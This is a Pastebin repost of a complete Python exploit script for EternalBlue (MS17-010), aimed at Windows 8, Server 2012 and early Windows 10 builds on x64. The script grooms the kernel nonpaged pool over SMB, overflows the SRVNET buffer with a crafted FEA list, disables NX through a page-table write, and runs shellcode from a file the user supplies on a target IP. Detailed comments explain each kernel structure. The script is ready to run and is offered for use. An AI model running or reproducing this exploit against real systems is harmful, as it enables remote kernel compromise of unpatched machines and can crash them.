Advertisement
Guest User

Untitled

a guest
Jul 11th, 2018
142
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 24.27 KB | None | 0 0
  1.  
  2. #!/usr/bin/python
  3. from impacket import smb, ntlm
  4. from struct import pack
  5. import sys
  6. import socket
  7.  
  8. '''
  9. EternalBlue exploit for Windows 8 and 2012 by sleepya
  10. The exploit might FAIL and CRASH a target system (depended on what is overwritten)
  11. The exploit support only x64 target
  12.  
  13. Tested on:
  14. - Windows 2012 R2 x64
  15. - Windows 8.1 x64
  16. - Windows 10 Pro Build 10240 x64
  17.  
  18.  
  19. Default Windows 8 and later installation without additional service info:
  20. - anonymous is not allowed to access any share (including IPC$)
  21. - More info: https://support.microsoft.com/en-us/help/3034016/ipc-share-and-null-session-behavior-in-windows
  22. - tcp port 445 is filtered by firewall
  23.  
  24.  
  25. Reference:
  26. - http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
  27. - "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" https://drive.google.com/file/d/0B3P18M-shbwrNWZTa181ZWRCclk/edit
  28.  
  29.  
  30. Exploit info:
  31. - If you do not know how exploit for Windows 7/2008 work. Please read my exploit for Windows 7/2008 at
  32. https://gist.github.com/worawit/bd04bad3cd231474763b873df081c09a because the trick for exploit is almost the same
  33. - The exploit use heap of HAL for placing fake struct (address 0xffffffffffd00e00) and shellcode (address 0xffffffffffd01000).
  34. On Windows 8 and Wndows 2012, the NX bit is set on this memory page. Need to disable it before controlling RIP.
  35. - The exploit is likely to crash a target when it failed
  36. - The overflow is happened on nonpaged pool so we need to massage target nonpaged pool.
  37. - If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5)
  38. - See the code and comment for exploit detail.
  39.  
  40.  
  41. Disable NX method:
  42. - The idea is from "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" (see link in reference)
  43. - The exploit is also the same but we need to trigger bug twice
  44. - First trigger, set MDL.MappedSystemVa to target pte address
  45. - Write '\x00' to disable the NX flag
  46. - Second trigger, do the same as Windows 7 exploit
  47. - From my test, if exploit disable NX successfully, I always get code execution
  48.  
  49. # E-DB Note: https://gist.github.com/worawit/074a27e90a3686506fc586249934a30e
  50. # E-DB Note: https://github.com/worawit/MS17-010/blob/873c5453680a0785415990379a4b36ba61f82a4d/eternalblue_exploit8.py
  51. '''
  52.  
  53. # if anonymous can access any share folder, 'IPC$' is always accessible.
  54. # authenticated user is always able to access 'IPC$'.
  55. # Windows 2012 does not allow anonymous to login if no share is accessible.
  56. USERNAME=''
  57. PASSWORD=''
  58.  
  59. # because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000
  60. NTFEA_SIZE = 0x9000
  61.  
  62. ntfea9000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x260 # with these fea, ntfea size is 0x1c80
  63. ntfea9000 += pack('<BBH', 0, 0, 0x735c) + '\x00'*0x735d # 0x8fe8 - 0x1c80 - 0xc = 0x735c
  64. ntfea9000 += pack('<BBH', 0, 0, 0x8147) + '\x00'*0x8148 # overflow to SRVNET_BUFFER_HDR
  65.  
  66. '''
  67. Reverse from srvnet.sys (Win2012 R2 x64)
  68. - SrvNetAllocateBufferFromPool() and SrvNetWskTransformedReceiveComplete():
  69.  
  70. // size 0x90
  71. struct SRVNET_BUFFER_HDR {
  72. LIST_ENTRY list;
  73. USHORT flag; // 2 least significant bit MUST be clear. if 0x1 is set, pmdl pointers are access. if 0x2 is set, go to lookaside.
  74. char unknown0[6];
  75. char *pNetRawBuffer; // MUST point to valid address (check if this request is "\xfdSMB")
  76. DWORD netRawBufferSize; // offset: 0x20
  77. DWORD ioStatusInfo;
  78. DWORD thisNonPagedPoolSize; // will be 0x82e8 for netRawBufferSize 0x8100
  79. DWORD pad2;
  80. char *thisNonPagedPoolAddr; // 0x30 points to SRVNET_BUFFER
  81. PMDL pmdl1; // point at offset 0x90 from this struct
  82. DWORD nByteProcessed; // 0x40
  83. char unknown4[4];
  84. QWORD smbMsgSize; // MUST be modified to size of all recv data
  85. PMDL pmdl2; // 0x50: if want to free corrupted buffer, need to set to valid address
  86. QWORD pSrvNetWskStruct; // want to change to fake struct address
  87. DWORD unknown6; // 0x60
  88. char unknown7[12];
  89. char unknown8[0x20];
  90. };
  91.  
  92. struct SRVNET_BUFFER {
  93. char transportHeader[80]; // 0x50
  94. char buffer[reqSize+padding]; // 0x8100 (for pool size 0x82f0), 0x10100 (for pool size 0x11000)
  95. SRVNET_BUFFER_HDR hdr; //some header size 0x90
  96. //MDL mdl1; // target
  97. };
  98.  
  99. In Windows 8, the srvnet buffer metadata is declared after real buffer. We need to overflow through whole receive buffer.
  100. Because transaction max data count is 66512 (0x103d0) in SMB_COM_NT_TRANSACT command and
  101. DataDisplacement is USHORT in SMB_COM_TRANSACTION2_SECONDARY command, we cannot send large trailing data after FEALIST.
  102. So the possible srvnet buffer pool size is 0x82f0. With this pool size, we need to overflow more than 0x8150 bytes.
  103. If exploit cannot overflow to prepared SRVNET_BUFFER, the target is likely to crash because of big overflow.
  104. '''
  105. # Most field in overwritten (corrupted) srvnet struct can be any value because it will be left without free (memory leak) after processing
  106. # Here is the important fields on x64
  107. # - offset 0x18 (VOID*) : pointer to received SMB message buffer. This value MUST be valid address because there is
  108. # a check in SrvNetWskTransformedReceiveComplete() if this message starts with "\xfdSMB".
  109. # - offset 0x48 (QWORD) : the SMB message length from packet header (first 4 bytes).
  110. # This value MUST be exactly same as the number of bytes we send.
  111. # Normally, this value is 0x80 + len(fake_struct) + len(shellcode)
  112. # - offset 0x58 (VOID*) : pointer to a struct contained pointer to function. the pointer to function is called when done receiving SMB request.
  113. # The value MUST point to valid (might be fake) struct.
  114. # - offset 0x90 (MDL) : MDL for describe receiving SMB request buffer
  115. # - 0x90 (VOID*) : MDL.Next should be NULL
  116. # - 0x98 (USHORT) : MDL.Size should be some value that not too small
  117. # - 0x9a (USHORT) : MDL.MdlFlags should be 0x1004 (MDL_NETWORK_HEADER|MDL_SOURCE_IS_NONPAGED_POOL)
  118. # - 0x90 (VOID*) : MDL.Process should be NULL
  119. # - 0x98 (VOID*) : MDL.MappedSystemVa MUST be a received network buffer address. Controlling this value get arbitrary write.
  120. # The address for arbitrary write MUST be subtracted by a number of sent bytes (0x80 in this exploit).
  121. #
  122. #
  123. # To free the corrupted srvnet buffer (not necessary), shellcode MUST modify some memory value to satisfy condition.
  124. # Here is related field for freeing corrupted buffer
  125. # - offset 0x10 (USHORT): 2 least significant bit MUST be clear. Just set to 0xfff0
  126. # - offset 0x30 (VOID*) : MUST be fixed to correct value in shellcode. This is the value that passed to ExFreePoolWithTag()
  127. # - offset 0x40 (DWORD) : be a number of total byte received. This field MUST be set by shellcode because SrvNetWskReceiveComplete() set it to 0
  128. # before calling SrvNetCommonReceiveHandler(). This is possible because pointer to SRVNET_BUFFER struct is passed to
  129. # your shellcode as function argument
  130. # - offset 0x50 (PMDL) : points to any fake MDL with MDL.Flags 0x20 does not set
  131. # The last condition is your shellcode MUST return non-negative value. The easiest way to do is "xor eax,eax" before "ret".
  132. # Here is x64 assembly code for setting nByteProcessed field
  133. # - fetch SRVNET_BUFFER address from function argument
  134. # \x48\x8b\x54\x24\x40 mov rdx, [rsp+0x40]
  135. # - fix pool pointer (rcx is -0x8150 because of fake_recv_struct below)
  136. # \x48\x01\xd1 add rcx, rdx
  137. # \x48\x89\x4a\x30 mov [rdx+0x30], rcx
  138. # - set nByteProcessed for trigger free after return
  139. # \x8b\x4a\x48 mov ecx, [rdx+0x48]
  140. # \x89\x4a\x40 mov [rdx+0x40], ecx
  141.  
  142. # debug mode affects HAL heap. The 0xffffffffffd04000 address should be useable no matter what debug mode is.
  143. # The 0xffffffffffd00000 address should be useable when debug mode is not enabled
  144. # The 0xffffffffffd01000 address should be useable when debug mode is enabled
  145. TARGET_HAL_HEAP_ADDR = 0xffffffffffd04000 # for put fake struct and shellcode
  146.  
  147. # Note: feaList will be created after knowing shellcode size.
  148.  
  149. # feaList for disabling NX is possible because we just want to change only MDL.MappedSystemVa
  150. # PTE of 0xffffffffffd00000 is at 0xfffff6ffffffe800
  151. # NX bit is at PTE_ADDR+7
  152. # MappedSystemVa = PTE_ADDR+7 - 0x7f
  153. SHELLCODE_PAGE_ADDR = (TARGET_HAL_HEAP_ADDR + 0x400) & 0xfffffffffffff000
  154. PTE_ADDR = 0xfffff6ffffffe800 + 8*((SHELLCODE_PAGE_ADDR-0xffffffffffd00000) >> 12)
  155. fakeSrvNetBufferX64Nx = '\x00'*16
  156. fakeSrvNetBufferX64Nx += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR)
  157. fakeSrvNetBufferX64Nx += '\x00'*16
  158. fakeSrvNetBufferX64Nx += '\x00'*16
  159. fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
  160. fakeSrvNetBufferX64Nx += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR) # _, _, pointer to fake struct
  161. fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
  162. fakeSrvNetBufferX64Nx += '\x00'*16
  163. fakeSrvNetBufferX64Nx += '\x00'*16
  164. fakeSrvNetBufferX64Nx += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
  165. fakeSrvNetBufferX64Nx += pack('<QQ', 0, PTE_ADDR+7-0x7f) # MDL.Process, MDL.MappedSystemVa
  166.  
  167. feaListNx = pack('<I', 0x10000)
  168. feaListNx += ntfea9000
  169. feaListNx += pack('<BBH', 0, 0, len(fakeSrvNetBufferX64Nx)-1) + fakeSrvNetBufferX64Nx # -1 because first '\x00' is for name
  170. # stop copying by invalid flag (can be any value except 0 and 0x80)
  171. feaListNx += pack('<BBH', 0x12, 0x34, 0x5678)
  172.  
  173.  
  174. def createFakeSrvNetBuffer(sc_size):
  175. # 0x180 is size of fakeSrvNetBufferX64
  176. totalRecvSize = 0x80 + 0x180 + sc_size
  177. fakeSrvNetBufferX64 = '\x00'*16
  178. fakeSrvNetBufferX64 += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR) # flag, _, _, pNetRawBuffer
  179. fakeSrvNetBufferX64 += pack('<QII', 0, 0x82e8, 0) # _, thisNonPagedPoolSize, _
  180. fakeSrvNetBufferX64 += '\x00'*16
  181. fakeSrvNetBufferX64 += pack('<QQ', 0, totalRecvSize) # offset 0x40
  182. fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR) # pmdl2, pointer to fake struct
  183. fakeSrvNetBufferX64 += pack('<QQ', 0, 0)
  184. fakeSrvNetBufferX64 += '\x00'*16
  185. fakeSrvNetBufferX64 += '\x00'*16
  186. fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
  187. fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR-0x80) # MDL.Process, MDL.MappedSystemVa
  188. return fakeSrvNetBufferX64
  189.  
  190. def createFeaList(sc_size):
  191. feaList = pack('<I', 0x10000)
  192. feaList += ntfea9000
  193. fakeSrvNetBuf = createFakeSrvNetBuffer(sc_size)
  194. feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuf)-1) + fakeSrvNetBuf # -1 because first '\x00' is for name
  195. # stop copying by invalid flag (can be any value except 0 and 0x80)
  196. feaList += pack('<BBH', 0x12, 0x34, 0x5678)
  197. return feaList
  198.  
  199. # fake struct for SrvNetWskTransformedReceiveComplete() and SrvNetCommonReceiveHandler()
  200. # x64: fake struct is at ffffffff ffd00e00
  201. # offset 0x50: KSPIN_LOCK
  202. # offset 0x58: LIST_ENTRY must be valid address. cannot be NULL.
  203. # offset 0x110: array of pointer to function
  204. # offset 0x13c: set to 3 (DWORD) for invoking ptr to function
  205. # some useful offset
  206. # offset 0x120: arg1 when invoking ptr to function
  207. # offset 0x128: arg2 when invoking ptr to function
  208. #
  209. # code path to get code exection after this struct is controlled
  210. # SrvNetWskTransformedReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
  211. fake_recv_struct = ('\x00'*16)*5
  212. fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x58) # offset 0x50: KSPIN_LOCK, (LIST_ENTRY to itself)
  213. fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x58, 0) # offset 0x60
  214. fake_recv_struct += ('\x00'*16)*10
  215. fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x170, 0) # offset 0x110: fn_ptr array
  216. fake_recv_struct += pack('<QQ', (0x8150^0xffffffffffffffff)+1, 0) # set arg1 to -0x8150
  217. fake_recv_struct += pack('<QII', 0, 0, 3) # offset 0x130
  218. fake_recv_struct += ('\x00'*16)*3
  219. fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x180) # shellcode address
  220.  
  221.  
  222. def getNTStatus(self):
  223. return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
  224. setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)
  225.  
  226. def sendEcho(conn, tid, data):
  227. pkt = smb.NewSMBPacket()
  228. pkt['Tid'] = tid
  229.  
  230. transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
  231. transCommand['Parameters'] = smb.SMBEcho_Parameters()
  232. transCommand['Data'] = smb.SMBEcho_Data()
  233.  
  234. transCommand['Parameters']['EchoCount'] = 1
  235. transCommand['Data']['Data'] = data
  236. pkt.addCommand(transCommand)
  237.  
  238. conn.sendSMB(pkt)
  239. recvPkt = conn.recvSMB()
  240. if recvPkt.getNTStatus() == 0:
  241. print('got good ECHO response')
  242. else:
  243. print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))
  244.  
  245.  
  246. # override SMB.neg_session() to allow forcing ntlm authentication
  247. class MYSMB(smb.SMB):
  248. def __init__(self, remote_host, use_ntlmv2=True):
  249. self.__use_ntlmv2 = use_ntlmv2
  250. smb.SMB.__init__(self, remote_host, remote_host)
  251.  
  252. def neg_session(self, extended_security = True, negPacket = None):
  253. smb.SMB.neg_session(self, extended_security=self.__use_ntlmv2, negPacket=negPacket)
  254.  
  255. def createSessionAllocNonPaged(target, size):
  256. conn = MYSMB(target, use_ntlmv2=False) # with this negotiation, FLAGS2_EXTENDED_SECURITY is not set
  257. _, flags2 = conn.get_flags()
  258. # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
  259. if size >= 0xffff:
  260. flags2 &= ~smb.SMB.FLAGS2_UNICODE
  261. reqSize = size // 2
  262. else:
  263. flags2 |= smb.SMB.FLAGS2_UNICODE
  264. reqSize = size
  265. conn.set_flags(flags2=flags2)
  266.  
  267. pkt = smb.NewSMBPacket()
  268.  
  269. sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
  270. sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
  271.  
  272. sessionSetup['Parameters']['MaxBufferSize'] = 61440 # can be any value greater than response size
  273. sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value
  274. sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero
  275. sessionSetup['Parameters']['SessionKey'] = 0
  276. sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session
  277. sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS
  278.  
  279. sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20
  280. pkt.addCommand(sessionSetup)
  281.  
  282. conn.sendSMB(pkt)
  283. recvPkt = conn.recvSMB()
  284. if recvPkt.getNTStatus() == 0:
  285. print('SMB1 session setup allocate nonpaged pool success')
  286. return conn
  287.  
  288. if USERNAME:
  289. # Try login with valid user because anonymous user might get access denied on Windows Server 2012.
  290. # Note: If target allows only NTLMv2 authentication, the login will always fail.
  291. # support only ascii because I am lazy to implement Unicode (need pad for alignment and converting username to utf-16)
  292. flags2 &= ~smb.SMB.FLAGS2_UNICODE
  293. reqSize = size // 2
  294. conn.set_flags(flags2=flags2)
  295.  
  296. # new SMB packet to reset flags
  297. pkt = smb.NewSMBPacket()
  298. pwd_unicode = conn.get_ntlmv1_response(ntlm.compute_nthash(PASSWORD))
  299. # UnicodePasswordLen field is in Reserved for extended security format.
  300. sessionSetup['Parameters']['Reserved'] = len(pwd_unicode)
  301. sessionSetup['Data'] = pack('<H', reqSize+len(pwd_unicode)+len(USERNAME)) + pwd_unicode + USERNAME + '\x00'*16
  302. pkt.addCommand(sessionSetup)
  303.  
  304. conn.sendSMB(pkt)
  305. recvPkt = conn.recvSMB()
  306. if recvPkt.getNTStatus() == 0:
  307. print('SMB1 session setup allocate nonpaged pool success')
  308. return conn
  309.  
  310. # lazy to check error code, just print fail message
  311. print('SMB1 session setup allocate nonpaged pool failed')
  312. sys.exit(1)
  313.  
  314.  
  315. # Note: impacket-0.9.15 struct has no ParameterDisplacement
  316. ############# SMB_COM_TRANSACTION2_SECONDARY (0x33)
  317. class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
  318. structure = (
  319. ('TotalParameterCount','<H=0'),
  320. ('TotalDataCount','<H'),
  321. ('ParameterCount','<H=0'),
  322. ('ParameterOffset','<H=0'),
  323. ('ParameterDisplacement','<H=0'),
  324. ('DataCount','<H'),
  325. ('DataOffset','<H'),
  326. ('DataDisplacement','<H=0'),
  327. ('FID','<H=0'),
  328. )
  329.  
  330. def send_trans2_second(conn, tid, data, displacement):
  331. pkt = smb.NewSMBPacket()
  332. pkt['Tid'] = tid
  333.  
  334. # assume no params
  335.  
  336. transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
  337. transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
  338. transCommand['Data'] = smb.SMBTransaction2Secondary_Data()
  339.  
  340. transCommand['Parameters']['TotalParameterCount'] = 0
  341. transCommand['Parameters']['TotalDataCount'] = len(data)
  342.  
  343. fixedOffset = 32+3+18
  344. transCommand['Data']['Pad1'] = ''
  345.  
  346. transCommand['Parameters']['ParameterCount'] = 0
  347. transCommand['Parameters']['ParameterOffset'] = 0
  348.  
  349. if len(data) > 0:
  350. pad2Len = (4 - fixedOffset % 4) % 4
  351. transCommand['Data']['Pad2'] = '\xFF' * pad2Len
  352. else:
  353. transCommand['Data']['Pad2'] = ''
  354. pad2Len = 0
  355.  
  356. transCommand['Parameters']['DataCount'] = len(data)
  357. transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
  358. transCommand['Parameters']['DataDisplacement'] = displacement
  359.  
  360. transCommand['Data']['Trans_Parameters'] = ''
  361. transCommand['Data']['Trans_Data'] = data
  362. pkt.addCommand(transCommand)
  363.  
  364. conn.sendSMB(pkt)
  365.  
  366.  
  367. def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
  368. pkt = smb.NewSMBPacket()
  369. pkt['Tid'] = tid
  370.  
  371. command = pack('<H', setup)
  372.  
  373. # Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug.
  374. transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
  375. transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
  376. transCommand['Parameters']['MaxSetupCount'] = 1
  377. transCommand['Parameters']['MaxParameterCount'] = len(param)
  378. transCommand['Parameters']['MaxDataCount'] = 0
  379. transCommand['Data'] = smb.SMBTransaction2_Data()
  380.  
  381. transCommand['Parameters']['Setup'] = command
  382. transCommand['Parameters']['TotalParameterCount'] = len(param)
  383. transCommand['Parameters']['TotalDataCount'] = len(data)
  384.  
  385. fixedOffset = 32+3+38 + len(command)
  386. if len(param) > 0:
  387. padLen = (4 - fixedOffset % 4 ) % 4
  388. padBytes = '\xFF' * padLen
  389. transCommand['Data']['Pad1'] = padBytes
  390. else:
  391. transCommand['Data']['Pad1'] = ''
  392. padLen = 0
  393.  
  394. transCommand['Parameters']['ParameterCount'] = len(param)
  395. transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen
  396.  
  397. if len(data) > 0:
  398. pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
  399. transCommand['Data']['Pad2'] = '\xFF' * pad2Len
  400. else:
  401. transCommand['Data']['Pad2'] = ''
  402. pad2Len = 0
  403.  
  404. transCommand['Parameters']['DataCount'] = firstDataFragmentSize
  405. transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len
  406.  
  407. transCommand['Data']['Trans_Parameters'] = param
  408. transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
  409. pkt.addCommand(transCommand)
  410.  
  411. conn.sendSMB(pkt)
  412. recvPkt = conn.recvSMB() # must be success
  413. if recvPkt.getNTStatus() == 0:
  414. print('got good NT Trans response')
  415. else:
  416. print('got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus()))
  417. sys.exit(1)
  418.  
  419. # Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data
  420. i = firstDataFragmentSize
  421. while i < len(data):
  422. sendSize = min(4096, len(data) - i)
  423. if len(data) - i <= 4096:
  424. if not sendLastChunk:
  425. break
  426. send_trans2_second(conn, tid, data[i:i+sendSize], i)
  427. i += sendSize
  428.  
  429. if sendLastChunk:
  430. conn.recvSMB()
  431. return i
  432.  
  433.  
  434. # connect to target and send a large nbss size with data 0x80 bytes
  435. # this method is for allocating big nonpaged pool on target
  436. def createConnectionWithBigSMBFirst80(target, for_nx=False):
  437. sk = socket.create_connection((target, 445))
  438. pkt = '\x00' + '\x00' + pack('>H', 0x8100)
  439. # There is no need to be SMB2 because we want the target free the corrupted buffer.
  440. # Also this is invalid SMB2 message.
  441. # I believe NSA exploit use SMB2 for hiding alert from IDS
  442. #pkt += '\xfeSMB' # smb2
  443. # it can be anything even it is invalid
  444. pkt += 'BAAD' # can be any
  445. if for_nx:
  446. # MUST set no delay because 1 byte MUST be sent immediately
  447. sk.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
  448. pkt += '\x00'*0x7b # another byte will be sent later to disabling NX
  449. else:
  450. pkt += '\x00'*0x7c
  451. sk.send(pkt)
  452. return sk
  453.  
  454.  
  455. def exploit(target, shellcode, numGroomConn):
  456. # force using smb.SMB for SMB1
  457. conn = smb.SMB(target, target)
  458. conn.login(USERNAME, PASSWORD)
  459. server_os = conn.get_server_os()
  460. print('Target OS: '+server_os)
  461. if server_os.startswith("Windows 10 "):
  462. build = int(server_os.split()[-1])
  463. if build >= 14393: # version 1607
  464. print('This exploit does not support this target')
  465. sys.exit()
  466. elif not (server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ")):
  467. print('This exploit does not support this target')
  468. sys.exit()
  469.  
  470. tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
  471.  
  472. # The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
  473. # Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment
  474. progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, len(feaList)%4096, False)
  475.  
  476. # Another TRANS2_OPEN2 (0) with special feaList for disabling NX
  477. nxconn = smb.SMB(target, target)
  478. nxconn.login(USERNAME, PASSWORD)
  479. nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
  480. nxprogress = send_big_trans2(nxconn, nxtid, 0, feaListNx, '\x00'*30, len(feaList)%4096, False)
  481.  
  482. # create some big buffer at server
  483. # this buffer MUST NOT be big enough for overflown buffer
  484. allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x2010)
  485.  
  486. # groom nonpaged pool
  487. # when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
  488. srvnetConn = []
  489. for i in range(numGroomConn):
  490. sk = createConnectionWithBigSMBFirst80(target, for_nx=True)
  491. srvnetConn.append(sk)
  492.  
  493. # create buffer size NTFEA_SIZE at server
  494. # this buffer will be replaced by overflown buffer
  495. holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE-0x10)
  496. # disconnect allocConn to free buffer
  497. # expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
  498. allocConn.get_socket().close()
  499.  
  500. # hope one of srvnetConn is next to holeConn
  501. for i in range(5):
  502. sk = createConnectionWithBigSMBFirst80(target, for_nx=True)
  503. srvnetConn.append(sk)
  504.  
  505. # remove holeConn to create hole for fea buffer
  506. holeConn.get_socket().close()
  507.  
  508. # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
  509. # first trigger, overwrite srvnet buffer struct for disabling NX
  510. send_trans2_second(nxconn, nxtid, feaListNx[nxprogress:], nxprogress)
  511. recvPkt = nxconn.recvSMB()
  512. retStatus = recvPkt.getNTStatus()
  513. if retStatus == 0xc000000d:
  514. print('good response status for nx: INVALID_PARAMETER')
  515. else:
  516. print('bad response status for nx: 0x{:08x}'.format(retStatus))
  517.  
  518. # one of srvnetConn struct header should be modified
  519. # send '\x00' to disable nx
  520. for sk in srvnetConn:
  521. sk.send('\x00')
  522.  
  523. # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
  524. # second trigger, place fake struct and shellcode
  525. send_trans2_second(conn, tid, feaList[progress:], progress)
  526. recvPkt = conn.recvSMB()
  527. retStatus = recvPkt.getNTStatus()
  528. if retStatus == 0xc000000d:
  529. print('good response status: INVALID_PARAMETER')
  530. else:
  531. print('bad response status: 0x{:08x}'.format(retStatus))
  532.  
  533. # one of srvnetConn struct header should be modified
  534. # a corrupted buffer will write recv data in designed memory address
  535. for sk in srvnetConn:
  536. sk.send(fake_recv_struct + shellcode)
  537.  
  538. # execute shellcode
  539. for sk in srvnetConn:
  540. sk.close()
  541.  
  542. # nicely close connection (no need for exploit)
  543. nxconn.disconnect_tree(tid)
  544. nxconn.logoff()
  545. nxconn.get_socket().close()
  546. conn.disconnect_tree(tid)
  547. conn.logoff()
  548. conn.get_socket().close()
  549.  
  550.  
  551. if len(sys.argv) < 3:
  552. print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0]))
  553. sys.exit(1)
  554.  
  555. TARGET=sys.argv[1]
  556. numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3])
  557.  
  558. fp = open(sys.argv[2], 'rb')
  559. sc = fp.read()
  560. fp.close()
  561.  
  562. if len(sc) > 0xe80:
  563. print('Shellcode too long. The place that this exploit put a shellcode is limited to {} bytes.'.format(0xe80))
  564. sys.exit()
  565.  
  566. # Now, shellcode is known. create a feaList
  567. feaList = createFeaList(len(sc))
  568.  
  569. print('shellcode size: {:d}'.format(len(sc)))
  570. print('numGroomConn: {:d}'.format(numGroomConn))
  571.  
  572. exploit(TARGET, sc, numGroomConn)
  573. print('done')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement